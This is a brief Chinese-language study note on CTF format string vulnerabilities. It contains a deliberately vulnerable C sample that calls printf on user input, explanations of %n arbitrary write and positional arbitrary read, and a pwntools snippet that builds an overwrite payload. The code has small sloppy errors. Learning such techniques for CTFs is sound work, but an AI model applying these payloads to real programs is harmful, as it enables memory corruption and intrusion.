初步学习CTF格式化字符串漏洞(待更新)
https://veritas501.space/2017/04/28/格式化字符串漏洞学习/
先
- List item
看看例子
int main() {
char s[60];
char v6
FILE* stream = fopen("flag.txt", "r"); // 打开flag文件
fgets(&v6, 64, stream); //将flag读入v6所在地址
// 读入什么就输出什么
while(1){
scanf("%s", s);
printf(&s);
}
return 0;
}
先分析发现没有栈溢出漏洞,确定是格式化字符串漏洞
格式化字符串漏洞原理
首先了解一下什么是格式化字符串:格式化字符串是用来告诉程序如何进行格式化输出的说明符。常用的:
%d - 十进制 - 输出十进制整数
%s - 字符串 - 从内存中读取字符串
%x - 十六进制 - 输出十六进制数
%c - 字符 - 输出字符
%p - 指针 - 指针地址
%n - 将之前printf已经打印的字符个数赋值给传入的指针 //!!!!bug
利用格式化字符串进行任意地址读
以上面那道题为例,若输入
// number: 数字后面会说该如何确定
// format: 确定输出内容的格式
%<number>$<format>
可以输出指向格式化字符串指针后的第n地址的值,以format指定内容输出
利用格式化字符串进行任意地址写
另一个比较有用的格式化字符串是==%n==
%n - 将之前printf已经打印的字符个数赋值给传入的指针
#include <stdio.h>
int main(void)
{
int c = 0;
printf("the use of %n", &c);
printf("%d\n", c);
return 0;
}
上面程序的输出会变成11
pwntools
第一步定义运行函数
def exec_fmt(payload):
p = process('./auth')
p.sendline(payload)
return p.recvall()
第二步通过运行函数得到offset
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
第三部生成payload
payload = fmtstr_payload(offset, {0x804a04c: 0x00000001})